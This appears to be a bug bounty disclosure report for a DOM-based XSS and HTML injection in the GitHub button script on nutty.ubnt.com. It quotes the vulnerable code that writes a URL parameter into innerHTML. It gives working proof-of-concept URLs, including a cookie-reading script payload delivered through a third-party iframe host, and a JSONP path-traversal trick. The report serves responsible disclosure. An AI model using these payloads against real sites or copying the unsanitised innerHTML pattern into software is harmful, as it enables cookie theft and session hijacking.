How it was found

Description

Vulnerable parameter: user Vulnerable script: http://nutty.ubnt.com/github-btn.html Vulnerable code:

  var params = function () {
    var vars = [], hash;
    var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');
    for(var i = 0; i < hashes.length; i++) {
      hash = hashes[i].split('=');
      vars.push(hash[0]);
      vars[hash[0]] = hash[1];
    }
    return vars;
  }()
  var user = params.user,
      repo = params.repo,
      type = params.type,
 ...
  } else if (type == 'follow') {
    mainButton.className += ' github-me';
    text.innerHTML = 'Follow @' + user;

PoCs

PoC #1 HTML Injection for Chrome, Internet Explorer

http://nutty.ubnt.com/github-btn.html?#&user=<h1><marquee>HTML<br>HTML<br>HTML<br>HTML<br>HTML<br>HTML<br>&type=follow

PoC #2 XSS for Internet Explorer (using X-UA-Compatible IE=9)

http://bb.blackfan.ru/xss?c=%3Cmeta%20http-equiv=%22X-UA-Compatible%22%20content=%22IE=9%22%3E%3Ciframe%20src=%27http://nutty.ubnt.com/github-btn.html?%23%26user=yrdy%3Cscript%3Ealert(document.domain);alert(document.cookie);//%26type=follow%27%3E%3C/iframe%3E

{F154666}

Another vulns

Also, this script has potential vulnerabilities using user controlled parameters in the path to the JS script. But for the exploitation it requires additional vulnerability on api.github.com (for example, Open Redirect or user controlled output).

  function jsonp(path) {
    var el = document.createElement('script');
    el.src = path + '?callback=callback';
    head.insertBefore(el, head.firstChild);
  }
...
  if (type == 'follow') {
    jsonp('https://api.github.com/users/' + user);
  } else {
    jsonp('https://api.github.com/repos/' + user + '/' + repo);
  }

PoC

http://nutty.ubnt.com/github-btn.html?#&user=../../another/endpoint&repo=../../another/endpoint&type=fork

Result

https://api.github.com/another/endpoint?callback=callback